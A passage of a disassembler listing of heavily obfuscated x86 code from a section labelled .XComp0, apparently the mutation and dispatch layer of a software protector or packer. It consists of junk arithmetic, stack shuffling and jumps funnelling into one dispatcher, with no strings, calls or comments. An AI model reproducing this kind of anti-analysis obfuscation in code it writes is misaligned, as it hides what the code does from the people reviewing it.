CODE XREF: .XComp0:00579449j push ecx mov ecx, 0B4416AAh xor eax, ecx pop ecx sub eax, 409A6AA2h push ebx mov ebx, eax mov ebp, ebx pop ebx pop eax sub ebp, 5270101Bh jmp loc_5752B2 ; --------------------------------------------------------------------------- loc_57F9FC: ; CODE XREF: .XComp0:00575F34j pop esi xchg ebx, [esp] mov esp, [esp] shl byte ptr [esp], cl pushf jmp loc_573541 ; --------------------------------------------------------------------------- loc_57FA0C: ; CODE XREF: .XComp0:0057C1F4j add edi, 4 sub edi, 4 xchg edi, [esp] pop esp jmp loc_5830DC ; --------------------------------------------------------------------------- loc_57FA1E: ; CODE XREF: .XComp0:00578356j sub ebp, eax xchg eax, ebp pop ebp push 4126h jmp loc_5753B6 ; --------------------------------------------------------------------------- loc_57FA2C: ; CODE XREF: .XComp0:0057F385j add ecx, ebp pop ebp jmp loc_574F5F ; --------------------------------------------------------------------------- loc_57FA34: ; CODE XREF: .XComp0:0057A8E2j pop edx jmp loc_582207 ; --------------------------------------------------------------------------- loc_57FA3A: ; CODE XREF: .XComp0:0057EBA9j xchg ebx, [esp] pop esp mov esi, ecx pop ecx sub esp, 4 mov [esp], ecx mov ecx, 0FFFFFFFFh sub esi, ecx pop ecx push esi push edx pop esi pop edx not edx xor esi, edx xor edx, esi xor esi, edx jmp loc_58214F ; --------------------------------------------------------------------------- loc_57FA60: ; CODE XREF: .XComp0:00581CD2j mov ah, 4Bh mov dh, ah pop eax xor dh, al mov eax, [esp] add esp, 4 shr dh, 2 push ecx push edx mov dh, 29h jmp loc_57EC13 ; --------------------------------------------------------------------------- loc_57FA7C: ; CODE XREF: .XComp0:0057A6B7j add esp, 4 add ebx, esi mov esi, [esp] add esp, 4 sub esp, 4 mov [esp], edi push esi jmp loc_57B887 ; --------------------------------------------------------------------------- loc_57FA99: ; CODE XREF: .XComp0:00577E86j push eax jmp loc_5793ED ; --------------------------------------------------------------------------- loc_57FA9F: ; CODE XREF: .XComp0:0057D379j push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] push edi jmp loc_573CF7 ; --------------------------------------------------------------------------- loc_57FAB0: ; CODE XREF: .XComp0:00580A83j pop esi push 2E1Fh mov [esp], ebp push esi jmp loc_578AB9 ; --------------------------------------------------------------------------- loc_57FABF: ; CODE XREF: .XComp0:0057861Ej sub dh, 3Ch jmp loc_58128B ; --------------------------------------------------------------------------- loc_57FAC7: ; CODE XREF: .XComp0:00582E43j pop dword ptr [esp] mov esp, [esp] jmp loc_5741D9 ; --------------------------------------------------------------------------- loc_57FAD2: ; CODE XREF: .XComp0:005791CEj neg cl sub cl, 50h sub al, cl pop ecx jmp loc_574A06 ; --------------------------------------------------------------------------- loc_57FADF: ; CODE XREF: .XComp0:0057DC2Dj pop bx neg al xor al, 3Fh sub bl, al pop eax movzx eax, al mov dx, [esp] jmp loc_58191D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A47B5 loc_57FAF4: ; CODE XREF: sub_5A47B5-27221j sub cl, dh sub cl, 0B0h mov edx, [esp+0] add esp, 4 sub cl, dl add cl, 0A2h pop edx jmp loc_58142D ; END OF FUNCTION CHUNK FOR sub_5A47B5 ; --------------------------------------------------------------------------- loc_57FB0D: ; CODE XREF: .XComp0:00576337j push small 7D91h mov [esp], ax jmp loc_573541 ; --------------------------------------------------------------------------- loc_57FB1A: ; CODE XREF: .XComp0:005762AAj add eax, ebx pop ebx xor eax, [esp] jmp loc_577015 ; --------------------------------------------------------------------------- loc_57FB25: ; CODE XREF: .XComp0:005760C7j mov edi, 44542719h add esi, edi pop edi push edi push ebp push 642A6351h pop ebp dec ebp jmp loc_57E6CC ; --------------------------------------------------------------------------- loc_57FB3B: ; CODE XREF: .XComp0:00579A70j mov ecx, 5D3269B9h jmp loc_57CE58 ; --------------------------------------------------------------------------- loc_57FB45: ; CODE XREF: .XComp0:0057C483j add esi, ebx mov ebx, [esp] add esp, 4 mov ecx, esi jmp loc_57CACE ; --------------------------------------------------------------------------- loc_57FB57: ; CODE XREF: .XComp0:0057A3BAj mov [esp], esi mov esi, 20673D3h xor esi, 16F67BFAh xor esi, 1BB537C1h and esi, 21AD3057h jmp loc_57B84D ; --------------------------------------------------------------------------- loc_57FB76: ; CODE XREF: .XComp0:005740F0j shl edi, 6 neg edi jmp loc_578F70 ; --------------------------------------------------------------------------- loc_57FB80: ; CODE XREF: .XComp0:00578B58j mov ebp, 41FB51D9h or ebp, 1AAD7784h sub ebp, 8B065D5h dec ebp neg ebp add ebp, 0A829214Fh jmp loc_57BE21 ; --------------------------------------------------------------------------- loc_57FB9F: ; CODE XREF: .XComp0:005807D5j sub ecx, 496847E3h jmp loc_573EBC ; --------------------------------------------------------------------------- loc_57FBAA: ; CODE XREF: .XComp0:00578558j add esp, 4 jmp loc_577EF3 ; --------------------------------------------------------------------------- mov ax, [esp] push edi mov edi, esp add edi, 4 push 34F1h mov [esp], esi mov esi, 7A49200Bh shl esi, 4 inc esi inc esi jmp loc_581313 ; --------------------------------------------------------------------------- loc_57FBD6: ; CODE XREF: .XComp0:00576CFAj mov [edi+20h], ebp pop ebp mov ecx, [esp] add esp, 4 add dword ptr [edi+20h], 0FFFFFFFFh shr dword ptr [edi+20h], 5 shr dword ptr [edi+20h], 5 dec dword ptr [edi+20h] not dword ptr [edi+20h] jmp loc_576286 ; --------------------------------------------------------------------------- loc_57FBFD: ; CODE XREF: .XComp0:0057B9D2j mov esi, 5675596Ah add esi, 155A2AC7h jmp loc_575481 ; --------------------------------------------------------------------------- loc_57FC0D: ; CODE XREF: .XComp0:0057D6EEj shl ebx, 2 not ebx neg ebx jmp loc_577E16 ; --------------------------------------------------------------------------- loc_57FC19: ; CODE XREF: .XComp0:0057782Aj push edi mov edi, 783510A7h sub esi, edi pop edi and esi, 70375E23h sub esi, 703709FFh push ebx mov ebx, esi mov ecx, ebx pop ebx pop esi jmp loc_57D367 ; --------------------------------------------------------------------------- loc_57FC3A: ; CODE XREF: .XComp0:0057A7F6j push edi mov edi, 0FE5328Ah add eax, 7465368h add eax, edi jmp loc_576D50 ; --------------------------------------------------------------------------- loc_57FC4C: ; CODE XREF: .XComp0:00577CB2j push eax mov ah, 0F7h dec ah shl ah, 5 shr ah, 8 add ah, 89h sub dl, ah jmp loc_57FF68 ; --------------------------------------------------------------------------- loc_57FC61: ; CODE XREF: .XComp0:00577640j push eax jmp loc_5829D0 ; --------------------------------------------------------------------------- loc_57FC67: ; CODE XREF: .XComp0:0057A6F6j xor eax, 747E0DA9h sub edi, 34D17C60h sub edi, eax add edi, 34D17C60h jmp loc_582970 ; --------------------------------------------------------------------------- loc_57FC7F: ; CODE XREF: .XComp0:0057BFE7j xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp add [esp], ax pushf jmp loc_573541 ; --------------------------------------------------------------------------- loc_57FC93: ; CODE XREF: .XComp0:005823B4j add esp, 4 push eax mov eax, 0FE826C2h shl eax, 4 not eax dec eax sub eax, 33EF372Eh jmp loc_57629B ; --------------------------------------------------------------------------- loc_57FCAF: ; CODE XREF: .XComp0:0057AE25j sub esp, 4 mov [esp], ebx mov ebx, 44295111h push eax mov eax, 0DA580735h jmp loc_57B406 ; --------------------------------------------------------------------------- loc_57FCC5: ; CODE XREF: .XComp0:00575F2Dj mov ebx, [esp] add esp, 4 add edi, ebp mov ebp, [esp] add esp, 4 add edi, 2 xchg edi, [esp] jmp loc_57F345 ; --------------------------------------------------------------------------- mov ax, [esp] push ecx jmp loc_57D7CF ; --------------------------------------------------------------------------- loc_57FCEB: ; CODE XREF: .XComp0:005824ABj push ecx pop edi mov ecx, [esp] jmp loc_57E407 ; --------------------------------------------------------------------------- loc_57FCF5: ; CODE XREF: .XComp0:0057F0E0j mov ch, 0EDh jmp loc_57F940 ; --------------------------------------------------------------------------- loc_57FCFC: ; CODE XREF: .XComp0:0057D6E6j add esp, 4 jmp loc_57C401 ; --------------------------------------------------------------------------- loc_57FD07: ; CODE XREF: .XComp0:005811E4j mov ecx, esp add ecx, 4 push edx jmp loc_578EFE ; --------------------------------------------------------------------------- loc_57FD15: ; CODE XREF: .XComp0:00580CDAj shl byte ptr [esp], cl pushf jmp loc_573541 ; --------------------------------------------------------------------------- loc_57FD1E: ; CODE XREF: .XComp0:0057F05Bj add ebp, 4 xchg ebp, [esp] pop esp push ecx jmp loc_576A7F ; --------------------------------------------------------------------------- loc_57FD2E: ; CODE XREF: .XComp0:00577EEEj xchg esi, [esp] jmp loc_57FDFC ; --------------------------------------------------------------------------- loc_57FD36: ; CODE XREF: .XComp0:00581C13j push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp mov [esp], edx push ebx jmp loc_581485 ; --------------------------------------------------------------------------- loc_57FD49: ; CODE XREF: .XComp0:0057D5F1j xor edi, ebx pop ebx sub edi, 3DBE580Bh add edi, 0F165E7C7h add ebx, edi jmp loc_580D5E ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_5761EA ; --------------------------------------------------------------------------- loc_57FD68: ; CODE XREF: .XComp0:0057874Fj sub eax, 72B55C1Ch sub eax, 2DA91AA6h push ebx mov ebx, 71F5D08Ah sub eax, ebx pop ebx and ecx, eax pop eax shl ecx, 2 sub ecx, 0FF209000h and eax, ecx mov ecx, [esp] add esp, 4 jmp loc_57D91C ; --------------------------------------------------------------------------- loc_57FD94: ; CODE XREF: .XComp0:00579BB4j add esp, 4 mov edi, [esp] push esi mov esi, esp push edx push ebx mov ebx, 6E997EB0h add ebx, 0F05CF88Ch mov edx, ebx mov ebx, [esp] add esp, 4 sub edx, 2E4D1041h add edx, 3DF313AFh jmp loc_57D463 ; --------------------------------------------------------------------------- loc_57FDC6: ; CODE XREF: .XComp0:005746AFj push edi jmp loc_58150C ; --------------------------------------------------------------------------- loc_57FDCC: ; CODE XREF: .XComp0:00579DC5j and cl, bh pop ebx and cl, 86h xor cl, 0ABh mov ah, cl pop ecx dec ah sub ah, 0B9h push edx mov dl, 7Bh push ebx mov bl, 40h jmp loc_57BDC9 ; --------------------------------------------------------------------------- loc_57FDE8: ; CODE XREF: .XComp0:00581B3Aj push edx mov edx, eax mov ecx, edx pop edx pop eax not ecx or ecx, 23695D84h jmp loc_57F6E7 ; --------------------------------------------------------------------------- loc_57FDFC: ; CODE XREF: .XComp0:0057FD31j pop esp jmp loc_583150 ; --------------------------------------------------------------------------- loc_57FE02: ; CODE XREF: .XComp0:0057D7A6j sub ebp, 385FE814h add esi, ebp mov ebp, [esp] add esp, 4 add esi, ecx sub esi, 6C5A32C1h pop ecx push edx mov edx, esp push 7626h mov [esp], ebx mov ebx, 18A348A7h jmp loc_575DD8 ; --------------------------------------------------------------------------- loc_57FE31: ; CODE XREF: .XComp0:0057D6CDj pop esi push eax jmp loc_581041 ; --------------------------------------------------------------------------- loc_57FE38: ; CODE XREF: .XComp0:0057A608j sub esp, 4 mov [esp], edi push ebp push 154810E8h jmp loc_57C83A ; --------------------------------------------------------------------------- loc_57FE49: ; CODE XREF: .XComp0:0057DE80j push edi jmp loc_57ED0B ; --------------------------------------------------------------------------- loc_57FE4F: ; CODE XREF: .XComp0:005747A8j sub eax, 5D4058B3h pop ebp push 311h mov [esp], edx mov edx, esp add edx, 4 jmp loc_577509 ; --------------------------------------------------------------------------- loc_57FE6A: ; CODE XREF: .XComp0:0057D7FEj mov ebp, [esp] add esp, 4 add esi, eax mov eax, [esp] add esp, 4 push esi push dword ptr [esp+4] mov esi, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] jmp loc_57F162 ; --------------------------------------------------------------------------- loc_57FE97: ; CODE XREF: .XComp0:00578DCFj mov eax, 5343241Fh shl eax, 3 neg eax jmp loc_580C0A ; --------------------------------------------------------------------------- loc_57FEA6: ; CODE XREF: .XComp0:0057B588j mov ecx, 57D042D7h not ecx sub ecx, 1 push ebp mov ebp, 7F735064h add ecx, ebp jmp loc_581EA3 ; --------------------------------------------------------------------------- loc_57FEBD: ; CODE XREF: .XComp0:005818F1j shl edx, 7 not edx not edx push 5502h mov [esp], ebx push ecx jmp loc_57366A ; --------------------------------------------------------------------------- loc_57FED2: ; CODE XREF: .XComp0:0057D24Bj add esp, 4 sub esp, 4 mov [esp], edi push dword ptr [esp+4] pop edi pop dword ptr [esp] jmp loc_57E136 ; --------------------------------------------------------------------------- loc_57FEEE: ; CODE XREF: .XComp0:005817F6j pop ebx or edx, 147626C5h sub edx, 186F07A2h neg edx neg edx add edx, 19F820C1h add ecx, edx pop edx add ecx, 4 xchg ecx, [esp] jmp loc_57AFBB ; --------------------------------------------------------------------------- loc_57FF13: ; CODE XREF: .XComp0:0057852Dj mov edi, [esp] add esp, 4 push dword ptr [esp] pop edx add esp, 4 push ebx push edx mov edx, 4 mov ebx, edx jmp loc_57801C ; --------------------------------------------------------------------------- loc_57FF31: ; CODE XREF: .XComp0:00579C5Dj pop ebx pop ax xor ch, 82h jmp loc_576019 ; --------------------------------------------------------------------------- loc_57FF3C: ; CODE XREF: .XComp0:00583607j inc eax jmp loc_579D5A ; --------------------------------------------------------------------------- loc_57FF42: ; CODE XREF: .XComp0:0057A7DFj sub ah, 50h shl ah, 3 inc ah xor ah, 6Eh jmp loc_581E90 ; --------------------------------------------------------------------------- loc_57FF52: ; CODE XREF: .XComp0:0057F14Cj mov esi, 0FA868615h add esi, ecx pop ecx push esi mov esi, 617F0320h sub ecx, esi pop esi jmp loc_577277 ; --------------------------------------------------------------------------- loc_57FF68: ; CODE XREF: .XComp0:0057FC5Cj pop eax xor al, dl push dword ptr [esp] pop edx jmp loc_578A39 ; --------------------------------------------------------------------------- loc_57FF74: ; CODE XREF: .XComp0:00581A17j sub ebx, 3B1044A2h sub ebx, 0FB56334Dh xor eax, ebx mov ebx, [esp] add esp, 4 sub edx, eax pop eax jmp loc_57EE2B ; --------------------------------------------------------------------------- loc_57FF90: ; CODE XREF: .XComp0:0057399Fj add esp, 4 jmp loc_579F15 ; --------------------------------------------------------------------------- loc_57FF98: ; CODE XREF: .XComp0:00581E2Fj mov esp, [esp] jmp loc_5810BE ; --------------------------------------------------------------------------- loc_57FFA0: ; CODE XREF: .XComp0:0058129Fj add edi, 22093E13h and edi, 6E2A3B50h jmp loc_57580D ; --------------------------------------------------------------------------- loc_57FFB1: ; CODE XREF: .XComp0:00580C3Fj mov ecx, 4 add esi, ecx pop ecx push eax jmp loc_577D24 ; --------------------------------------------------------------------------- loc_57FFBF: ; CODE XREF: .XComp0:00574637j add edx, 37141BDFh sub edx, 81665802h jmp loc_577F41 ; --------------------------------------------------------------------------- sub esp, 4 mov [esp], edx jmp loc_579C24 ; --------------------------------------------------------------------------- loc_57FFDE: ; CODE XREF: .XComp0:00578427j mov ebx, [esp] add esp, 4 pop eax xchg edi, [esp] jmp loc_58264A ; --------------------------------------------------------------------------- loc_57FFED: ; CODE XREF: .XComp0:00578D3Cj pop edi xor esi, 2FF521D2h xor esi, 545B1688h mov eax, esi pop esi sub eax, 72CFFD5Bh shl eax, 7 not eax push ecx mov ecx, 1DE22671h jmp loc_57C3CF ; --------------------------------------------------------------------------- loc_580012: ; CODE XREF: .XComp0:00583205j xor [esp], ebx xor ebx, [esp] pop esp mov [esp], ebx mov ebx, esp sub esp, 4 mov [esp], esi jmp loc_5793C3 ; --------------------------------------------------------------------------- loc_580029: ; CODE XREF: .XComp0:00581942j push ebx jmp loc_57BD88 ; --------------------------------------------------------------------------- loc_58002F: ; CODE XREF: .XComp0:0057AE72j pop edi push esi mov esi, 0AED76892h xor edx, esi pop esi add ebp, edx pop edx xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_57DF4D ; --------------------------------------------------------------------------- loc_58004A: ; CODE XREF: .XComp0:00573778j mov edi, 765B4D2Bh push 5282h mov [esp], ebx mov ebx, 600E6CF5h xor edi, ebx pop ebx xor edi, 75551398h add edi, 0FFFFFFFFh shr edi, 4 inc edi sub edi, 6300321h mov esi, edi pop edi jmp loc_578272 ; --------------------------------------------------------------------------- loc_58007D: ; CODE XREF: .XComp0:0057D2A6j xchg ecx, edx inc edx sub edx, 58FA5F4Ch add edx, 0E8F1D01Ch shl edx, 5 jmp loc_5790E2 ; --------------------------------------------------------------------------- loc_580094: ; CODE XREF: .XComp0:0057C85Fj pop ecx jmp loc_576C4C ; --------------------------------------------------------------------------- loc_58009A: ; CODE XREF: .XComp0:00578032j xor [esp], edx jmp loc_5800E3 ; --------------------------------------------------------------------------- loc_5800A2: ; CODE XREF: .XComp0:0057C783j mov eax, 6B4B7C75h push edi jmp loc_57C8A2 ; --------------------------------------------------------------------------- loc_5800AD: ; CODE XREF: .XComp0:0057D45Ej mov esi, esp add esi, 4 jmp loc_578201 ; --------------------------------------------------------------------------- loc_5800BA: ; CODE XREF: .XComp0:00581D06j mov ecx, [esp] add esp, 4 push small 0A2Ch jmp loc_57484C ; --------------------------------------------------------------------------- loc_5800CC: ; CODE XREF: .XComp0:00575C27j sub ebp, 13F51B5h sub ebp, 0E329D247h sub esp, 4 jmp loc_581DE1 ; --------------------------------------------------------------------------- loc_5800E3: ; CODE XREF: .XComp0:0058009Dj xor edx, [esp] pop esp and [esp], al pushf jmp loc_573541 ; --------------------------------------------------------------------------- loc_5800F0: ; CODE XREF: .XComp0:00574A52j push edi push edx push 1EF21FA6h pop edx shr edx, 1 add edx, 291349ABh push ebp mov ebp, 626A2E1Ch xor edx, ebp pop ebp sub edx, 0ED5E73D3h jmp loc_58292E ; --------------------------------------------------------------------------- loc_580114: ; CODE XREF: .XComp0:0057EDF9j push 1AF1h mov [esp], edi jmp loc_57A770 ; --------------------------------------------------------------------------- loc_580121: ; CODE XREF: .XComp0:0057B7A0j add ebx, 31B20A69h pop ecx add ebx, 2 xor ebx, [esp] jmp loc_580568 ; --------------------------------------------------------------------------- loc_580136: ; CODE XREF: .XComp0:005742FBj mov eax, 50223E9Bh xor eax, 31A701Ch and eax, 50DA2F85h and eax, 38CC39A0h not eax inc eax jmp loc_57982C ; --------------------------------------------------------------------------- loc_580152: ; CODE XREF: .XComp0:00579C1Fj mov edi, edx mov edx, [esp] add esp, 4 add eax, edi pop edi add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] sub esp, 4 jmp loc_577A9B ; --------------------------------------------------------------------------- loc_580179: ; CODE XREF: .XComp0:00574ABBj add edi, 108406B6h sub edi, edx sub edi, 108406B6h pop edx add edi, ecx push 567Bh mov [esp], eax mov eax, 39681908h push ebp mov ebp, 563D3451h xor ebp, 513E5E37h add ebp, 245B2D44h or ebp, 595E6842h jmp loc_577748 ; --------------------------------------------------------------------------- loc_5801B4: ; CODE XREF: .XComp0:00573A77j add ebx, 4 xchg ebx, [esp] jmp loc_577A12 ; --------------------------------------------------------------------------- loc_5801C2: ; CODE XREF: .XComp0:005741A4j pop edx or eax, eax jz loc_57A605 push dword ptr [edi+28h] mov eax, [esp] push 58C4h mov [esp], ebp push esp push dword ptr [esp] pop ebp add esp, 4 push 512Dh mov [esp], eax push 0C4C6C6Ch jmp loc_573FB7 ; --------------------------------------------------------------------------- loc_5801F6: ; CODE XREF: .XComp0:0057F4A9j pop edi push ecx mov ecx, 6DED2F9Ch jmp loc_57CC1E ; --------------------------------------------------------------------------- loc_580202: ; CODE XREF: .XComp0:0057E9C4j xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] rol byte ptr [esp], cl pushf jmp loc_573541 ; --------------------------------------------------------------------------- loc_580217: ; CODE XREF: .XComp0:0057CBC5j pop bx neg dh jmp loc_57BAB6 ; --------------------------------------------------------------------------- loc_580220: ; CODE XREF: .XComp0:00573E43j push edi push ebp mov ebp, 15172261h add ebp, 1 jmp loc_57B547 ; --------------------------------------------------------------------------- mov ax, [esp] push ebp push esp pop ebp jmp loc_576C1A ; --------------------------------------------------------------------------- loc_58023E: ; CODE XREF: .XComp0:005819F7j mov edi, 4 add edx, edi jmp loc_5823B1 ; --------------------------------------------------------------------------- loc_58024A: ; CODE XREF: .XComp0:005828DDj add ecx, edx mov edx, [esp] jmp loc_582C4A ; --------------------------------------------------------------------------- loc_580254: ; CODE XREF: .XComp0:0057BF5Bj mov ax, si pop esi inc ax jmp loc_57A404 ; --------------------------------------------------------------------------- loc_58025F: ; CODE XREF: .XComp0:00582F93j add esp, 4 sub eax, 3B4C629Ch push ecx mov ecx, eax push ecx mov edx, [esp] add esp, 4 mov ecx, [esp] add esp, 4 jmp loc_57CFC4 ; --------------------------------------------------------------------------- loc_580282: ; CODE XREF: .XComp0:00577FD0j add esp, 4 push eax push ebp mov ebp, 2AEC2222h jmp loc_579AEE ; --------------------------------------------------------------------------- loc_580291: ; CODE XREF: .XComp0:00576ACEj sub bh, cl add bh, 32h pop ecx not bh push 1B01h mov [esp], edx push eax mov ah, 0C2h add ah, 47h mov dh, 9Bh add dh, ah pop eax sub bh, 81h add bh, 0F7h jmp loc_579E92 ; --------------------------------------------------------------------------- loc_5802B7: ; CODE XREF: .XComp0:00578C76j pop esp mov [esp], ecx mov ecx, 612B13F6h add ecx, 0FFFFFFFFh sub ecx, 1385F3CCh shl ecx, 2 not ecx neg ecx inc ecx sub ecx, 0CA781423h sub ebx, ecx jmp loc_5747AD ; --------------------------------------------------------------------------- loc_5802E1: ; CODE XREF: .XComp0:0058364Ej or edi, 46CF2080h add edi, 46580FA2h xor edi, 0A90E0D12h push ecx mov ecx, 7F9A33F0h add ebp, ecx pop ecx add ebp, edi jmp loc_574B92 ; --------------------------------------------------------------------------- loc_580303: ; CODE XREF: .XComp0:00578240j mov dl, 0B4h jmp loc_576BA1 ; --------------------------------------------------------------------------- loc_58030A: ; CODE XREF: .XComp0:00579F44j add esp, 4 push 1AA1h mov [esp], edi mov edi, 1697630Ch inc edi shr edi, 8 dec edi sub edi, 16975Eh jmp loc_580FC4 ; --------------------------------------------------------------------------- loc_58032A: ; CODE XREF: .XComp0:0057A0C8j sub esp, 4 mov [esp], eax xchg edi, [esp] not edi xchg edi, [esp] mov eax, [esp] push ecx jmp loc_57F1FE ; --------------------------------------------------------------------------- loc_580341: ; CODE XREF: .XComp0:00575B72j add ecx, edx push edx jmp loc_581F32 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A47B5 loc_580349: ; CODE XREF: sub_5A47B5-28023j xor dh, 0B4h xor cl, dh pop edx push 151Ch mov [esp+22h+var_24+2], edx jmp loc_57EB64 ; END OF FUNCTION CHUNK FOR sub_5A47B5 ; --------------------------------------------------------------------------- loc_58035C: ; CODE XREF: .XComp0:00573F02j pop ecx push edx mov edx, 4BC24AEBh jmp loc_580A1F ; --------------------------------------------------------------------------- loc_580368: ; CODE XREF: .XComp0:00583378j pop esi add esp, 4 mov edi, [esp] add esp, 4 push ecx sub dword ptr [esp], 543E70EBh jmp loc_5827F8 ; --------------------------------------------------------------------------- loc_58037F: ; CODE XREF: .XComp0:0057B742j mov ch, 0FCh add ch, al pop eax jmp loc_57A97A ; --------------------------------------------------------------------------- loc_580389: ; CODE XREF: .XComp0:0057579Ej sub esp, 4 mov [esp], ecx mov ecx, 4E8E7BA4h shr ecx, 1 push edi mov edi, 3EC0168Fh jmp loc_577CEF ; --------------------------------------------------------------------------- loc_5803A4: ; CODE XREF: .XComp0:0057D3ADj inc bx shr bx, 2 jmp loc_580F94 ; --------------------------------------------------------------------------- loc_5803AF: ; CODE XREF: .XComp0:0057C13Dj sub esi, 6B9AB800h or ebp, esi pop esi not ebp shr ebp, 3 sub ebp, 1621651Dh sub esi, 59672D4Ah add esi, ebp add esi, 59672D4Ah pop ebp add ebx, esi pop esi add ebx, 4 jmp loc_5754B0 ; --------------------------------------------------------------------------- loc_5803DD: ; CODE XREF: .XComp0:0057E2C8j mov cl, 0C6h add cl, 0E5h sub bl, cl pop ecx jmp loc_578547 ; --------------------------------------------------------------------------- loc_5803EA: ; CODE XREF: .XComp0:005823E3j mov al, 0ABh or al, 83h push 7B7h mov [esp], ecx mov ch, 94h push ebx mov bh, 7Ah xor bh, 7Ah shr bh, 7 inc bh add bh, 94h sub ch, bh pop ebx add al, ch mov ecx, [esp] add esp, 4 neg al add al, 0DBh jmp loc_57A828 ; --------------------------------------------------------------------------- loc_58041A: ; CODE XREF: .XComp0:00574394j not dword ptr [esp] jmp loc_57B994 ; --------------------------------------------------------------------------- loc_580422: ; CODE XREF: .XComp0:00576834j mov [esp], ebp push esi mov esi, 187F7CCEh mov ebp, 6F54FB82h sub ebp, esi pop esi sub eax, ebp pop ebp pop edi sub eax, ebx add eax, 58B676C7h sub esp, 4 mov [esp], edx jmp loc_57816C ; --------------------------------------------------------------------------- loc_58044C: ; CODE XREF: .XComp0:0057EB5Fj pop esi push ecx pop edx pop ecx add edx, edi add eax, [edx] mov edx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xor edi, [esp] jmp loc_579E22 ; --------------------------------------------------------------------------- loc_58046B: ; CODE XREF: .XComp0:00576B03j push edx mov edx, 0E5DFBF38h sub esi, edx jmp loc_579E9C ; --------------------------------------------------------------------------- loc_580478: ; CODE XREF: .XComp0:00581CE9j mov [esp], ebp jmp loc_58239C ; --------------------------------------------------------------------------- loc_580480: ; CODE XREF: .XComp0:0057D10Cj xchg eax, [esp] pop esp jmp loc_57ABB4 ; --------------------------------------------------------------------------- loc_580489: ; CODE XREF: .XComp0:005781BBj mov [esp], edi mov edi, 2B4950BAh xor edi, 19B0129Ch jmp loc_57B4B2 ; --------------------------------------------------------------------------- loc_58049C: ; CODE XREF: .XComp0:00582FB2j pop dword ptr [eax] pop ebp jmp loc_577EC7 ; --------------------------------------------------------------------------- loc_5804A4: ; CODE XREF: .XComp0:0057BF80j push 4 push dword ptr [esp] mov ebp, [esp] add esp, 4 jmp loc_582139 ; --------------------------------------------------------------------------- loc_5804BA: ; CODE XREF: .XComp0:00580626j add eax, 4C582B17h push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ecx push edx mov edx, 36086560h sub [esp+4], edx pop edx pop dword ptr [eax] push ebp jmp loc_576ADE ; --------------------------------------------------------------------------- loc_5804E5: ; CODE XREF: .XComp0:00579406j mov esp, [esp] mov [esp], esi mov esi, esp push ebp mov ebp, 0DE46924h jmp loc_575C24 ; --------------------------------------------------------------------------- loc_5804F8: ; CODE XREF: .XComp0:00580617j xor ebx, ebp mov ebp, [esp] add esp, 4 sub ebx, 23001B02h xor ebx, 0FD44B471h xor ebp, ebx pop ebx jmp loc_57B908 ; --------------------------------------------------------------------------- loc_580517: ; CODE XREF: .XComp0:00573A54j shl esi, 5 not esi jmp loc_57AF8F ; --------------------------------------------------------------------------- loc_580521: ; CODE XREF: .XComp0:0058316Cj add esi, 4 jmp loc_574260 ; --------------------------------------------------------------------------- loc_58052C: ; CODE XREF: .XComp0:00583100j add esp, 4 sub esp, 4 mov [esp], ecx jmp loc_57BA5F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A47B5 loc_58053D: ; CODE XREF: sub_5A47B5-3102Aj push 497Ah mov [esp+26h+var_28+2], edx jmp loc_57ADE1 ; END OF FUNCTION CHUNK FOR sub_5A47B5 ; --------------------------------------------------------------------------- loc_58054A: ; CODE XREF: .XComp0:00576356j add ecx, esi jmp loc_5821C5 ; --------------------------------------------------------------------------- lodsd xor eax, ebx push 40A7h mov [esp], edi push esi sub esp, 4 mov [esp], ecx jmp loc_57BE76 ; --------------------------------------------------------------------------- loc_580568: ; CODE XREF: .XComp0:00580131j xor [esp], ebx xor ebx, [esp] pop esp rol dword ptr [esp], cl pushf jmp loc_573541 ; --------------------------------------------------------------------------- loc_580578: ; CODE XREF: .XComp0:00577B7Fj push 3D1305C6h pop ecx not ecx jmp loc_574CD5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A47B5 loc_580585: ; CODE XREF: sub_5A47B5-2F262j add esp, 2 xor bl, al jmp loc_57AD54 ; END OF FUNCTION CHUNK FOR sub_5A47B5 ; --------------------------------------------------------------------------- loc_58058F: ; CODE XREF: .XComp0:0057CCA2j mov esp, [esp] push 4EA9h mov [esp], eax mov eax, esp jmp loc_581D8D ; --------------------------------------------------------------------------- loc_5805A1: ; CODE XREF: .XComp0:0057CC50j add ebx, 4 sub ebx, 4 jmp loc_583202 ; --------------------------------------------------------------------------- loc_5805B2: ; CODE XREF: .XComp0:00576F67j push ebx mov ebx, 221D7F9Fh jmp loc_581BB1 ; --------------------------------------------------------------------------- loc_5805BD: ; CODE XREF: .XComp0:00575E55j mov edx, 3E70183Dh jmp loc_574782 ; --------------------------------------------------------------------------- loc_5805C7: ; CODE XREF: .XComp0:00581758j push edi push 4C745930h pop edi jmp loc_57D47B ; --------------------------------------------------------------------------- loc_5805D3: ; CODE XREF: .XComp0:0057E300j not dword ptr [esp] pop ecx xor [esp], ecx xor ecx, [esp] xor [esp], ecx jmp loc_57F894 ; --------------------------------------------------------------------------- loc_5805E5: ; CODE XREF: .XComp0:0057ECCFj push edx jmp loc_5753ED ; --------------------------------------------------------------------------- loc_5805EB: ; CODE XREF: .XComp0:005773D2j mov esi, 4 add ecx, esi mov esi, [esp] jmp loc_5736C0 ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_57EA80 ; --------------------------------------------------------------------------- loc_580602: ; CODE XREF: .XComp0:005789CFj shr ebp, 4 sub ebp, 5D2618CBh or ebp, 36EA5DE2h sub ebp, 62BDB93Fh jmp loc_5804F8 ; --------------------------------------------------------------------------- loc_58061C: ; CODE XREF: .XComp0:005824E6j mov eax, edx pop edx sub eax, 4C582B17h add eax, edi jmp loc_5804BA ; --------------------------------------------------------------------------- lodsd push 3C1Ah jmp loc_580842 ; --------------------------------------------------------------------------- loc_580636: ; CODE XREF: 